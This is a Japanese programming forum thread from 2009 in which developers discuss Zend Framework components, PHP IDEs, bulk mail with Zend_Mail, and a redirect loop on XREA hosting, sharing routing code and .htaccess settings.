Zend Framework Part3

このエントリーをはてなブックマークに追加
1nobodyさん
2nobodyさん:2009/04/10(金) 10:51:13 ID:b68dluRC
3nobodyさん:2009/04/10(金) 10:59:24 ID:???
おつ!
4sage:2009/04/10(金) 13:06:47 ID:mTlvGODg
スレ立ておつ

Zend_Applicationってどうなん?
DIコンテナのメリットがいまいちわかってない
5nobodyさん:2009/04/10(金) 13:08:05 ID:???
>>4
DIといえば今は亡きMaple(w
6nobodyさん:2009/04/10(金) 17:41:04 ID:b68dluRC
Maple消えたの?
7nobodyさん:2009/04/10(金) 18:56:43 ID:???
いまだに大垣氏のブログがエラーなんだが・・
何があったんだろう
8nobodyさん:2009/04/10(金) 21:09:03 ID:???
>>1

OpenID 2.0対応マダー?
9nobodyさん:2009/04/10(金) 21:57:22 ID:???
ZActiveRecordの復活はまだですか?
10nobodyさん:2009/04/10(金) 22:01:19 ID:???
Zend.phpの復活(ry
11nobodyさん:2009/04/11(土) 13:01:38 ID:???
>>5
Mapleスレ行けやボケ
12nobodyさん:2009/04/11(土) 13:15:54 ID:???
今日発売の本ってどんな感じなんだろね
ちょっと立ち読みしてくる
13nobodyさん:2009/04/11(土) 14:12:36 ID:wuIGrF7Q
これかい?
14日発売って書いてあるよ。
http://www.sotechsha.co.jp/pc/html/669.htm
14nobodyさん:2009/04/11(土) 14:43:37 ID:UNyFP8Z/
>>13
コシマキに「完全網羅」とか書いてんのに
紹介文じゃ「すべてのコンポーネントを取り上げるのは困難ですが」
とかあってふいた

単なるマニュアルの再編集じゃない事を期待するわ
15nobodyさん:2009/04/11(土) 14:54:15 ID:???
徹底入門はplaceholder(DBじゃないよ)について一切触れていない以外は良かった。
16nobodyさん:2009/04/11(土) 15:04:54 ID:???
大垣さんまじで氏んでもうたん?
小さい子どもの写真も載せていたが・・
17nobodyさん:2009/04/12(日) 15:48:56 ID:???
Zend_Formの(普通はするでしょうね)って解説が良い
18nobodyさん:2009/04/12(日) 18:09:37 ID:ZzYzUV/1
19nobodyさん:2009/04/12(日) 20:38:42 ID:???
大垣しすとも
20nobodyさん:2009/04/12(日) 20:51:15 ID:???
大垣さんの近くの人いないの?
21nobodyさん:2009/04/13(月) 13:39:49 ID:jhubRY/9
>>17
フォームってHTML直接書いた方が楽じゃね?
22nobodyさん:2009/04/13(月) 13:44:35 ID:???
楽(笑)
23nobodyさん:2009/04/13(月) 18:35:40 ID:???
フォームの体裁を細かく制御する必要がある場合は直(というか独自の実装を作ってしまう)方が楽だよね。
入力値に応じてJSでフォームを動的に変化させたりする場合とか・・・
24nobodyさん:2009/04/14(火) 12:29:26 ID:???
DBのfetchAllで2万行くらいselectするとダンマリ決め込まれるんだけど、
一気に取得したい場合ってどうすればいいんだろうか。
同じクエリでもlimit 1000とかやると取得できるからSQLの間違いではないと思う。
25nobodyさん:2009/04/14(火) 12:43:21 ID:???
>>24
それZF関係なくね
26nobodyさん:2009/04/14(火) 12:50:23 ID:???
・サーバのメモリ
・PHPの上限メモリ
・サーバの仕様
・DBの設定

どれか
27nobodyさん:2009/04/14(火) 13:00:44 ID:???
流石にゆとりすぎるだろ・・・
28nobodyさん:2009/04/14(火) 13:11:01 ID:/eTffA4T
>>24
カウントしたいとかじゃなくて?
29nobodyさん:2009/04/14(火) 14:34:26 ID:???
かりんとう?
30nobodyさん:2009/04/14(火) 14:49:14 ID:???
カウントとかまさか
ファイルに一気に書きだすのが目的
環境はローカルでメモリは4Gあるから
設定で止められてるのかな
すまんね
31nobodyさん:2009/04/14(火) 15:16:00 ID:???
fetchで順次書き出していけばイケルんじゃね?
32nobodyさん:2009/04/16(木) 22:06:06 ID:???
大垣さん復活してんね
よかった死んでなかったか
33nobodyさん:2009/04/18(土) 02:20:23 ID:Huhs6a/Y
pdfのサポートをもうちょっとうまくやってもらいたいよ
たとえば2枚のpdfを結合するとかさ
34nobodyさん:2009/04/18(土) 03:29:40 ID:???
それはもうWebフレームワークじゃなくて帳票ツールじゃないか
35nobodyさん:2009/04/18(土) 05:55:52 ID:???
>>32
本当だ
36nobodyさん:2009/04/21(火) 13:26:35 ID:XqPpi+V+
最近ZendFrameworkを勉強しているものです。
はじめまして!

今迷っていることがありまして
ZendViewとSmarty、Layoutを使ってMVCにおけるVを作成しているんですが
最近、ZendFormが存在することに気がつきました。


みなさん普段はどんな感じでフォームの表示、検証、フィルタリングなされていますか?

なんかZendFormとかいらないような気がしてならないんですがメリットって何でしょうか・・・
37nobodyさん:2009/04/21(火) 15:48:18 ID:???
SmartyでZend_Formって使えたっけ?
38nobodyさん:2009/04/21(火) 18:56:32 ID:???
使えたと思う。確か。多分。
39nobodyさん:2009/04/21(火) 20:46:24 ID:???
どうやって?
40nobodyさん:2009/04/21(火) 22:12:52 ID:XqPpi+V+
そういえば話変わるけど新しい参考書でましたね
41nobodyさん:2009/04/22(水) 20:58:47 ID:???
Zend_Formより、Zend_Viewがいらないというもっぱらの噂。

どうでもいいけど、スレタイトル変わったな。

42nobodyさん:2009/04/22(水) 22:26:27 ID:???
新しい参考書読んできた。

徹底マスターというよりは入門書って感じだね。
美味しいところを一通り解説してある感じ。
ある程度使ってる人には物足りないと思う。
43nobodyさん:2009/04/23(木) 01:07:35 ID:???
Zend_Viewそういえば要るかというと微妙な気がしてくるな。外したら読み込み速くなるんだろか。
あとZend_FormでHTML吐くのにZend_View必要じゃなかったっけ?
44nobodyさん:2009/04/23(木) 05:28:46 ID:???
Zend_Formで使うのは、Zend_View_Helperだけだと思う
45nobodyさん:2009/04/23(木) 08:55:37 ID:B8qf+Yy+
>>42
ありがとう!

みなさんMVCのVはどうしてます?

レンダリングを無効にしてリクエストオブジェクトから
モジュール・コントローラ・アクション名を取得して
レイアウトページをdisplay
tpl側でリクエストと関連するファイルをincludeする

viewのラッパークラス使ってレンダリングを有効活用してSmartyを使う
+zend_layout

オレは後者の方が好きだなぁ

46nobodyさん:2009/04/23(木) 09:11:49 ID:???
>>45
俺も後者だがZend_Layoutは使っていない。
htmlの入れ子はcommon.tpl内で{action}.tplをinclude
{action}.tplはアクションコントローラ(のサブクラス)のinit()で判別して押し込んでる。
47nobodyさん:2009/04/23(木) 09:27:56 ID:???
いまだにSmartyとか使ってるのか

48nobodyさん:2009/04/23(木) 09:56:45 ID:???
Smarty優秀だもん
49nobodyさん:2009/04/23(木) 10:08:03 ID:???
smarty使えたらZFいらなくね?
50nobodyさん:2009/04/23(木) 10:25:10 ID:???
ZFのテンプレート機能しか使ってないの?
51nobodyさん:2009/04/23(木) 10:34:07 ID:???
ZFにテンプレート機能なぞ無い。
52nobodyさん:2009/04/23(木) 10:39:36 ID:???
あるよ
53nobodyさん:2009/04/23(木) 11:30:57 ID:???
SmartyをZFで使うのって簡単だよね
54nobodyさん:2009/04/23(木) 13:05:56 ID:???
マニュアルに載ってるサンプルそのままだと動かなかった気が
過去の話だからもう改善されたかもしれないけど
55nobodyさん:2009/04/23(木) 13:07:37 ID:6tnIZz1g
おまえらZend_Layout使ってる?
56nobodyさん:2009/04/23(木) 13:08:59 ID:???
俺は使ってない
57nobodyさん:2009/04/23(木) 13:10:03 ID:???
俺は使ってる
58nobodyさん:2009/04/23(木) 20:46:26 ID:???
Zend_ViewもSmartyも納得できなくてDOMでXHTML書いて吐いてる
59nobodyさん:2009/04/23(木) 23:27:15 ID:???
意味不明。
60nobodyさん:2009/04/24(金) 23:40:59 ID:???
Zend_Layoutは楽じゃね?
61nobodyさん:2009/04/25(土) 02:05:52 ID:Rm4mMXnK
楽ですぜ
62nobodyさん:2009/04/29(水) 11:33:04 ID:???
NetBeansにPHPのコードサジェストする機能ついてるけど、
Projectフォルダ以下にZendFrameworkのlibrary置いておくと
libraryの中のクラスやメソッドにもコードサジェスト出てくるみたい。

ここのスクリーンキャストの人がやってて初めて知った。
これ凄い便利だし無料だし、いいかもしれない。
http://www.zendcasts.com/
63nobodyさん:2009/04/29(水) 17:32:53 ID:???
>>62
eclipseでは普通じゃん
64nobodyさん:2009/04/29(水) 18:16:32 ID:???
むしろ今まで出来なかったのがNetBeansだけでは
65nobodyさん:2009/04/29(水) 19:28:55 ID:???
そうなんだ。ZendFrameworkのなかのメソッドまで補完できるのは
Zend Studioとか買わないとダメなのかなと思った。
普段エディタでPHP書いてるから、なんか凄いなと思ってしまった。
66nobodyさん:2009/04/30(木) 00:29:25 ID:???
67nobodyさん:2009/04/30(木) 01:38:17 ID:waf/x0A4
>>66のドSっぷりに泣いたw
68nobodyさん:2009/04/30(木) 02:03:52 ID:???
Zend StudioってEclipse+PDT+αだからね
でもEclipse使うならPHPEclipseの方がいいけど
69nobodyさん:2009/04/30(木) 16:10:21 ID:???
ttp://codezine.jp/article/detail/3838

Zend_Feedを使っただけだよね。
70nobodyさん:2009/04/30(木) 17:26:08 ID:???
>>68
PHPEclipseのプロジェクトなんてとっくに死んでるだろ…
と思ってみてみたら、なんかサイトがTracに変わって綺麗になってるしwww
ちょっと試してみるか。
PDT2.0が、バックスペース連打したときコード補完にも連続アクセスがかかって
フリーズする馬鹿さ加減に嫌気さしてたとこだし
71nobodyさん:2009/04/30(木) 17:57:42 ID:???
PHPEclipseちょっと使ってみた。
$thisでの補完は効くが、parentやselfが駄目だな。
PDT1.0.3が一番使いやすいわ
72nobodyさん:2009/04/30(木) 18:08:05 ID:???
Eclipse重くてやだなー
73nobodyさん:2009/04/30(木) 18:20:23 ID:???
Zend Studio 5.5最強過ぎていまいち踏ん切りつかん
74nobodyさん:2009/04/30(木) 18:47:40 ID:???
僕のパソコンではeclipse重くない^ ^
75nobodyさん:2009/04/30(木) 19:44:18 ID:???
eclipseが重いPC使ってる人かわいそう
76nobodyさん:2009/04/30(木) 20:45:51 ID:???
>>70
バックスペースの補完は何考えてるんだろうねw
俺はCTRL+SPACE時のみ補完するようにしている。
77nobodyさん:2009/04/30(木) 21:48:10 ID:???
たしかにZS5.5最強
78718:2009/04/30(木) 23:03:00 ID:8ZgZqFDD
ZSfEも使ってみたけど、機能が多すぎるっつーかなんつーか。。
日本語訳をもうちょっとどうにかして欲しいところ。
79nobodyさん:2009/05/01(金) 00:16:06 ID:???
軽さでいうならVS.PHPとか結構サクサク動いて使いやすいよ
Eclipseが重い糞プレスコでもそこそこ快適に動く
80nobodyさん:2009/05/01(金) 00:36:25 ID:???
Eclipseが重いんじゃなくてPDTの補完が糞なだけだよ
CoreDuoでも止まるもん
81nobodyさん:2009/05/01(金) 01:13:54 ID:qY5HP8+j
ZendFrameworkのControllerで$_POST,$_GETの値を取得する時に
文字コード、magic_quotesの設定、nullバイトのチェックをしたい!

今まではPOSTとかをラッパークラスなどで安全な値のみ取得していたのですが

何かいい方法ありませんか?

ttp://framework.zend.com/manual/ja/zend.controller.request.html#zend.controller.request.subclassing
10.4.3. リクエストオブジェクトのサブクラスの作成に書いてある内容が理解できない><
82nobodyさん:2009/05/01(金) 01:34:36 ID:???
getParamとかgetPostとかじゃ駄目なのか
それとも文字コードがひねくれてるのか?
83nobodyさん:2009/05/01(金) 01:59:03 ID:???
Zend_Controller_Request_Httpを継承したクラスを作って、必要な機能を実装すればいいんじゃないかね。
magic_quoteとか入力文字コードのチェックは、BaseControllerでやってしまっても良い気がするけど。
84nobodyさん:2009/05/01(金) 03:20:37 ID:???
>>80
1.03なら補完で固まることないけどなぁ
2.1もOKだけど、補完が不十分。
親クラスから持ってこなかったり…
85nobodyさん:2009/05/01(金) 08:04:08 ID:???
>>78
日本語版の6.1を昨日リリースしたから試してネ。
86nobodyさん:2009/05/01(金) 09:17:45 ID:???
試してみました。
かなりの部分において日本語化されてました。
ただ定型句挿入のキーまで一部和訳されていたような気がします
しかしながら最初のリリースに比べ断然使いやすくなってました。
87nobodyさん:2009/05/01(金) 11:12:38 ID:???
1年間無料アップグレードできる。
けど1年間何もリリースしない。
1年後に新バージョン発表(しかも小数点のマイナーアップ)。
本家は1年以上前にバージョンアップしてるのに。
日本語版6が出たときには既に本家6.1だったはず。
88nobodyさん:2009/05/01(金) 11:16:15 ID:???
ZSfE6.1よりPDT2の方が優れてる点があるのはどういう事なのw
コード補完速度とか、選択した変数の仕様箇所がカラーリングされるとかさ…
89nobodyさん:2009/05/01(金) 16:39:04 ID:???
PDT2.0.1のマイルストン使ってみたら、いろいろ改善されてたな。
90nobodyさん:2009/05/01(金) 20:13:45 ID:???
>>86
サンクスです。
差し支えなければ、訳し過ぎ?なところもお問い合わせ入力フォームとか、こことか(笑 でお知らせくださいませ

>>87
現場の力不足で大変申し訳ない
TLホールディングス株式会社様
( www.turbolinux.co.jp/cgi-bin/notify/index.cgi?date2=20090401110717&mode=syosai )

から作業の許可を次回もいただけるよう、
説得の仕方をさらに工夫します。

>>88
ZSfE6.1はPDT1.0.5ベースなので、残念ながらPDT2.0で追加された機能がないのです。
少なくとも英語版は(w、そのうちしばらくしたらPDT2.xベースになるでしょう
9186:2009/05/02(土) 00:44:56 ID:???
>>90
設定->PHP->テンプレートの名前の部分は和訳しちゃいけない部分なんじゃないのかなぁと。
新規Zend Actionヘルパとかその他諸々です。

日本語化はbat実行すれば良いだけなので簡単は簡単ですが本家が出してる言語パックの方が上書きだけなので
フォーマット的には本家の方が良かったりもします。
/*個人的には日本語訳マニュアル不要かも。。*/
92nobodyさん:2009/05/02(土) 09:44:59 ID:???
>>91
新規PHPファイル(Zend Framework のファイルも) のダイアログでテンプレート選択が表示される箇所ですね。

その機能の部分はテンプレートの内容はそのままにしましたが
(日本語埋め込むと、文字化けした文字を含むPHPファイルが作られてしまうので)

テンプレート名の部分を変えても 選択肢に出てこなくなるとか、文字化けするとか、の症状がなかったので
日本語にしてあります。
念のため連休明けに英語版と動作を比較して、違っていないかどうか確認してみます。

言語パックは悩ましいところですね。
特にLinuxの場合、ディストリによっては org.eclipse.equinox.p2関係の一部で致命的なエラーになるので、
必要/不要を検証して不要なものは除いてコピーすることにしました。

/*マニュアルの日本語訳はもし不要ですみそうなら、翻訳コストを削減できるので助かります。
 いろいろな利害関係上無くすのは難しいとは思いますが*/
9386:2009/05/02(土) 10:47:18 ID:???
>>92
なるほどそこでの表示用なわけですか。。

エディタ上でのforekのようなショートカット入力一覧だと思っていたので
期待したような動作にはならなかったわけです。
何かトレードオフな感じもしますが英語圏では問題ないんでしょうけどねー

日本語PHPマニュアルに関してはあり版無し版でのリリースがあると選択肢も広がって良いかと思います。
php.net参照する方もいるでしょう。おそらく。。
94nobodyさん:2009/05/02(土) 18:28:41 ID:???
>>90
「新規Zend Frameworkプロジェクト」の作成ウィザード(?)で
Framework Versionが、1.0, 1.6, 1.7しか選べないのだけれど
(1.5が表示されません。includeパスライブラリ設定で変更は可能)
自分だけかな・・・。
95nobodyさん:2009/05/04(月) 10:56:49 ID:???
流れを切ってすみません。入門サイトとか初心者本とで調べてみても
わからなかったんですが、
Zend_Controllerをapacheのrewrite機能(?)を使わずに普通の
パラメータで利用するにはどうしたらいいのでしょうか?
例えば
www.hoge.com/index.php?action=huga
とかでindexコントローラーのhugaアクションを実行したいのです。
96nobodyさん:2009/05/04(月) 17:54:38 ID:???
index.phpというファイルにこんな感じで書く


$front = Zend_Controller_Front::getInstance();

$router = $front->getRouter();
$request = new Zend_Controller_Request_Http();

$router->addRoute('index',
new Zend_Controller_Router_Route('',
array(
'module' => 'default',
'controller' => 'index',
'action' => $request->getParam('action'),
)
)
);

$front->dispatch();
9795:2009/05/04(月) 19:30:08 ID:???
>>96
Zend_Controller_Router_Routeに配列で指定してやるんですね。
勉強になりました。ありがとうございました。
98nobodyさん:2009/05/04(月) 22:40:25 ID:???
99nobodyさん:2009/05/05(火) 00:18:58 ID:???
お前は何を言ってるんだ
100nobodyさん:2009/05/05(火) 08:50:31 ID:???
>>94
いいえ、他の人も同じ動作です
なお、当初の目的の、Dojoが使えるかどうか、という判断のためなら 1.5以前と1.6以降の2つの選択肢だけでよいです。
101nobodyさん:2009/05/05(火) 09:07:50 ID:???
>>93
数百ページあるユーザーガイド(PDFファイル)のことではなく、PHPマニュアルのことをおっしゃっていましたか

ver 5.5ではインストール時にPHPマニュアルを入れる入れないの選択肢がありましたが。
ver6以降は残念ながらありません。
Install AnyWhereというインストーラー作成ソフトで展開のための命令をスキップするかどうかの設定だけではすまなくなり、
PHPマニュアルに関する設定画面の初期情報をもつプロパティーファイルなどをインストール時に動的に書き換える必要が発生してしまいます。
そのため非常に難しいと思います。
102100:2009/05/05(火) 13:34:39 ID:???
>>94
100の続きです。
ZFの1.7が出た後に、1.7を選択肢に追加して、1.5を追加してない件については
「お客様のご要望」という印籠があるとイスラエルにリクエストしやすいです。
もし差し支えなければ「お問い合わせ窓口」で送信してみてください。
103nobodyさん:2009/05/06(水) 00:25:35 ID:???
Zend_Mailで質問です
1万通くらいのメール送信をする場合Zend_Mailでメール送信キューの管理などは
おこなえないのでしょうか?
PearのMail_Queueを使うほうがいいのでしょうか?

SMTPで送信すればDBから引っ張ってきたメールアドレスをToに入れて
while($to = $mail){
$mail = new Zend_Mail();
$mail->addTo($to);
(略)
$mail->send();
}
でいけますか?(Sendmailでの大量送信は不向きだと知ったので)
一気に1万通は多いので100件くらいにわけた個別のファイルを用意しcronで
1分おきくらいに送信する方法なども考えています。

サーバーは専用サーバーです。
104nobodyさん:2009/05/06(水) 00:50:21 ID:kwNxcPHm
>>103
専用サーバーでもZend Mailでの大量送信はオススメできない。
105nobodyさん:2009/05/06(水) 01:01:44 ID:???
>>104
Zend_Mailだめですか?
メールサーバーをsendmailからqmailやPostfixに切り替えても
同じでしょうか?
106nobodyさん:2009/05/06(水) 02:05:21 ID:???
ラッパーである以上コマンドを叩く方が確実に早い。
特にそんな迷惑メール並に送るのであればね
107nobodyさん:2009/05/06(水) 02:11:21 ID:???
中規模サイトだと自前でメルマガ送信の要件とか結構あるんだよね
大きいサイトだとトライコーンやエイケアとかになるんだけどさ
108nobodyさん:2009/05/06(水) 03:17:11 ID:???
1万件規模なら自前で用意するのは結構あると思うけど
10万件規模とかになるとSaaSとか外部委託になるのかねぇ?
109nobodyさん:2009/05/06(水) 03:48:26 ID:???
System.Web.Mailみたいな糞遅いコンポーネント使ってるとかならダメだろうが、Zend_Mail自体はそんなに遅くない
キュー管理のボトルネックを無視すれば、まともなSMTPなら15k件/hぐらいは出る
まぁ真面目にやるならPHP以外の言語で複数SMTP+マルチスレッドでどうにかした方がいいんじゃないの、って気はするけど
110nobodyさん:2009/05/06(水) 10:42:51 ID:???
xreaでphp(cgi)5.2.5+ZF1.8.0の環境で動作させています。

Zend_Controller_Action::_redirect()において無限ループが発生しているようで、
具体的には"/"等の指定で内部で完全なアドレスにするために補完が必要になるアドレスです。
http://から始まるアドレスは問題ないです

恐らく補完作業中にうまく処理できないため補完がループしていると思うんですが、
issueあたりに投げれば直してもらえるんでしょうか?
111nobodyさん:2009/05/06(水) 11:02:06 ID:???
> 恐らく補完作業中にうまく処理できないため補完がループしていると思うんですが、

そこを、くわしく。

具体的にどこのバグっていうのがわかってから投稿するのがissueだから
MLで相談するか、 日本語のircチャンネルに相談するとかがオススメ
112nobodyさん:2009/05/06(水) 12:17:23 ID:???
ログ取ってないんで何ともいえんのですが、
_redirect()->コード補完->_redirect()->コード補完->_redirect()....っていうループになっていると思うんです。

_redirect()が完全なアドレスに補完して転送するはずなんですが補完が完成しないままそのアドレスがもう一度_redirect()に渡されちゃうんです
Zend_Controller_Action_Helper_Redirector::setGotoUrl()が呼ばれて最後に_redirect();されてると思うんですが、
そこでループになってるかもしれません。
113nobodyさん:2009/05/06(水) 14:33:09 ID:???
リダイレクトってそもそも、自分で設定するんだよね。
そこのミスとしか思えないんだが・・・
114nobodyさん:2009/05/06(水) 14:44:04 ID:???
/hoge
という書式で設定しています。
実際他のサイトでは動いていますし、内部の問題だと思います。

追加で_forward()も動きませんでした。
パラメータ一部指定や全指定でもダメでした
115nobodyさん:2009/05/06(水) 14:48:44 ID:???
それで、内部の問題とは言わんな。

エラーコントローラーを設置してないのに、エラーコントローラーに
リダイレクトするように書いてるとか、そんなんでしょ?
116nobodyさん:2009/05/06(水) 15:01:12 ID:???
いやいや、決めつけないでください。
エラーコントローラーは設置してますし単純に"/"と設定してもループ発生します。
現状内部以外に考えらんないです。
117nobodyさん:2009/05/06(水) 15:16:36 ID:???
決めつけてるんじゃなくてさ。
出てきてる情報がその程度で、内部の問題とか言えないよっていう話。

簡単に言うとさ、たとえば、俺が同じことをして同じ現象が起きるか?
その再現手順を出してみてくれ。
118nobodyさん:2009/05/06(水) 15:17:58 ID:???
mod_rewriteの設定ミスだな
119nobodyさん:2009/05/06(水) 15:22:40 ID:???
私自身もローカルでは起こらない現象なのでうまく説明ができないんです。

xreaのアカウントをお持ちであれば
ZFをインストールし、PHPの動作モードを変更
AddType application/x-httpd-phpcgi .php

あとはMVCの基本セットを設置してみて適当なコントローラのアクションで_redirect()を行ってみれば分かるかと思います。
120nobodyさん:2009/05/06(水) 15:26:31 ID:???
>>118
rewriteはマニュアルのまま引用しています。
通常のアクセス(/index/index等)においては問題はありません。
121nobodyさん:2009/05/06(水) 15:43:53 ID:???
>>119
_redirectのとき、どこにリダイレクトを設定してるの?
122nobodyさん:2009/05/06(水) 15:48:44 ID:???
>>121
もちろんです、しないとパラメータエラーでますよ。
123nobodyさん:2009/05/06(水) 15:49:25 ID:???
ローカルで発生しないんなら、フレームワークのせいじゃないでしょ。
どうみても設定ミス
124nobodyさん:2009/05/06(水) 15:50:37 ID:???
>>122
そのリダイレクト先を聞いてるんだが、
/index/indexにリダイレクトしても無限ループするの?
125nobodyさん:2009/05/06(水) 16:06:29 ID:???
>>123
設定というよりかphpの動作モードだと思います。
そのように断定されるのであれば具体的な問題点をお願いします。
.htaccessは以下の通りです。
AddHandler application/x-httpd-phpcgi .php
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]


>>124
読み間違えましたすみません。
はい、基本http以外から始まるパスは無限ループしています。
httpから始まるパスは内部的にそれを採用してループから抜けているようなので、
それ以外でのアドレスの補完の際にループに陥っているようです。
126nobodyさん:2009/05/06(水) 16:50:12 ID:???
>>125
おまいさんの指摘が具体的じゃないから、問題点とかいうレベルじゃないな
127nobodyさん:2009/05/06(水) 17:00:43 ID:???
>>126
どのあたりが具体的でないとおっしゃっているんでしょうか?
発生する環境や設定事項は明記していますし、問題点のレベルではないというのは心外です。
同じ環境で試していただき、現象が発生しないのであれば私側のミスなんでしょうね。
128nobodyさん:2009/05/06(水) 17:06:18 ID:???
まぁ、まぁ、落ち着いて
おれはZFで数環境普通に動いてるからな。
その環境で再現させる手順を示さないと。

それに、ローカルで普通に動いているものがXREAで動かないなら、
XREAとローカルの違いを分析するのが先でしょう。

それで、XREA以外でも発生するというところまでを示してみて。
そこまではあなたの作業範囲だから。
129nobodyさん:2009/05/06(水) 17:22:10 ID:???
環境依存っぽい気もするし、XREA以外で試してみれば?
わざわざあんな悪質業者使わなくても、
やっすい仮想化環境のレンサバなんて昨今ゴロゴロあるっしょ。
130nobodyさん:2009/05/06(水) 17:28:55 ID:???
>>128
私自身も他のサーバーで動作することは確認してるんです。
もちろんXREAでも通常は動くんですが、phpの動作モードを変えると動かなくなってしまうんです。
ただモードを変えないとセーフモードがいろいろあるので仕方なしに使っている感じです。
_redirect()に関してはhttpからの記述で代用できるんですが_forwared()に関しては無いので困りました。。

>>129
ごもっともな意見です。。
ただもうアドレス(独自ではない)が知れ渡ってしまっているんです。。
今更変えるわけにも行かずという感じです。
131nobodyさん:2009/05/06(水) 17:37:10 ID:???
XREAの特殊CGI環境でだけ動かないってことは、XREAのバグと見る方が妥当
問題個所を特定して、XREAの掲示板から答えを探した方がよいよ
132nobodyさん:2009/05/06(水) 17:48:50 ID:???
XREAのphp.iniのcgi.*周辺が変なんじゃない?とか。当てずっぽだけど。
; cgi.force_redirect = 1
; cgi.nph = 1
; cgi.redirect_status_env = ;
cgi.fix_pathinfo=1
fastcgi.impersonate = 1
ここらへん。
133nobodyさん:2009/05/07(木) 01:09:08 ID:???
Zend Studio for Eclipse 6.1 日本語版落としたんだけど、
もうちょっと気軽にインストール出来るようになりませんか・・・

c:\直下に日本語化パッチ置かないと行けないとか面倒すぎる。
アップデートも制限かかってるとかもうね・・・これなら英語版とPleiadesを使う方がマシな気がするよ。
134nobodyさん:2009/05/07(木) 08:11:51 ID:???
そのくらいのパッチはやれよw
アップデート切るのは納得いかんけど
135nobodyさん:2009/05/07(木) 08:14:35 ID:???
勝手にアップデートされたらプラグインの整合性取れなくなって
サポートが事実上不可能になるだろ
必要なら自分で落としてきてdropinにでも突っ込めばいい
136nobodyさん:2009/05/08(金) 15:42:26 ID:???
クイックスタートをダウンロードしたら、ファイルサイズが12KBなんだが。
http://framework.zend.com/demos/ZendFrameworkQuickstart-20090430.tar.gz
137nobodyさん:2009/05/08(金) 23:44:24 ID:???
>>134
権限の問題でc:\直下にファイル置けない環境だったんよ・・・。

>>135
日本のZendはここ1年で何かサポート(バージョンアップ)してくれましたか?
バグフィックスのアップデートすらしてなかったような。
138nobodyさん:2009/05/08(金) 23:46:14 ID:???
>>132
それがビンゴっぽいです。PATH_INFOが空っぽでした。、が、、
ユーザーphp.iniに追加してもその項目自体が反映されてません。
うーんってかんじです。。
139nobodyさん:2009/05/09(土) 00:01:28 ID:???
ちょっと無理矢理index.phpのど頭に
$_SERVER['PATH_INFO'] = $_SERVER['REQUEST_URI'];

なんてやってみましたがだめでした。
Redirectorが使用する環境変数ってどのあたりなんでしょうか?
140nobodyさん:2009/05/09(土) 01:07:46 ID:???
>>138-139
ローカルでXREAと同じようなphp.ini設定にして試して、
同様の現象が発生するかどうかで切り分けしてみると100%の判断出来るんじゃないかな
てか、.htaccessでphp.ini設定の上書きって出来たと思うんだけど、ダメ?
141nobodyさん:2009/05/09(土) 01:39:53 ID:???
xreaだとzend_serviceが軒並み使えない
142nobodyさん:2009/05/09(土) 03:29:01 ID:???
>>138
そこまで判明してたらXreaサポートに聞いた方が早い。はやく解決させれ。

なんかレス増えてると思ったらZFに全く関係ないレスで嫌なのは俺だけかいな。
ZS翻訳のサポート&フィードバックとか2chでやらないでくれ。。
143nobodyさん:2009/05/09(土) 03:42:22 ID:???
xreaにサポートなど無いのだよ
144nobodyさん:2009/05/09(土) 03:51:32 ID:???
無料会員か。月額400円くらい払ってバリュドメ登録しとけと。。
145nobodyさん:2009/05/09(土) 05:42:16 ID:???
有料無料関係なくサポートなど無いのだよ
146nobodyさん:2009/05/09(土) 06:08:47 ID:???
CGIでpath_infoを使う時の基礎
ttp://httpd.apache.org/docs/2.0/mod/core.html#acceptpathinfo

これでだめなら、XREA特有の現象だろうな
147nobodyさん:2009/05/09(土) 22:06:14 ID:???
>>144
少しはぐぐってみろ。

http://sb.xrea.com/showthread.php?t=13001

148nobodyさん:2009/05/11(月) 02:10:47 ID:???
ゼンド・ジャパン、PHP開発フレームワークに楽天APIの接続機能を追加 [2007/02/14]
http://itpro.nikkeibp.co.jp/article/NEWS/20070214/262021/

これって結局実装されなかったの?
149nobodyさん:2009/05/11(月) 08:41:05 ID:???
>>148
楽天はZend Framework使わないし、Rubyのまつもとゆきひろ氏と、CakePHPの安藤氏を擁しているから別に要らないんじゃない?
150nobodyさん:2009/05/11(月) 08:49:42 ID:???
ZendXに移動したよ
151nobodyさん:2009/05/12(火) 20:18:37 ID:???
>>148
クローズです
152nobodyさん:2009/05/13(水) 15:30:25 ID:???
すみません初心者です。

↓のようにBからCへ画面遷移したいのですが、
return $this->_redirect('C');
にするとフレーム内にCが表示されてしまいます。

どうすれば良いでしょうか?


実現したい遷移:
画面1(フレーム)   画面2
 −−−−−−   −−−−−
 |  A     |   |  C    |
 |−−−−−|⇒  |     |
 |  B    |   |     |
 |        |   |       |
 |        |   |       |
 −−−−−−   −−−−−
現状:
画面1(フレーム)   画面1(フレーム)
 −−−−−−   −−−−−
 |  A     |   |  A     |
 |−−−−−| ⇒ |−−−−−|
 |  B     |   |  C     |
 |        |   |        |
 |        |   |        |
 −−−−−−   −−−−−


153nobodyさん:2009/05/13(水) 15:41:41 ID:???
152です。

画面1のphtmlに
target='_top'を書けばOKというのにきづきました。
すみません。
154nobodyさん:2009/05/13(水) 16:35:45 ID:QbvOAcJn
なんで、フレーム使ってるの?
社内アプリですか?
155nobodyさん:2009/05/13(水) 16:46:02 ID:???
趣味じゃないとこんなベータ版は使えん。
クラス名変えようって提案もあるんだぞ
156nobodyさん:2009/05/13(水) 19:51:07 ID:???
これでもかなりマシになったよ
157nobodyさん:2009/05/13(水) 21:51:30 ID:???
変えても互換性保持するだろ低脳
158nobodyさん:2009/05/13(水) 22:51:38 ID:???
そうやって互換性を保持するから無駄にコードも増えてphp5みたいになっちゃうんだろ。
企画段階で名前くらい決めておけよ。
159nobodyさん:2009/05/14(木) 05:35:55 ID:???
だあああもすいあせええええええん
160nobodyさん:2009/05/14(木) 12:38:07 ID:???
それがphpクオリティだろ
161nobodyさん:2009/05/14(木) 23:01:56 ID:???

別にクラス名変えるくらいなら問題ねーよ。
ファクトリーパターンで開発してりゃいいだけだし。
162nobodyさん:2009/05/14(木) 23:04:57 ID:???
うっわ…
163nobodyさん:2009/05/15(金) 01:37:25 ID:???
デザインパターン覚え立ての素人発言にしか見えないのは俺だけ?w
164nobodyさん:2009/05/15(金) 17:16:12 ID:???
いや、本当にファクトリで問題ないぐらい凄腕なのかもしれない
是非見せてほしいよな
165nobodyさん:2009/05/15(金) 21:49:09 ID:???
うっわ…
お前らZFでハードコーディングしちゃってるの?
166nobodyさん:2009/05/15(金) 22:00:19 ID:???
>>163
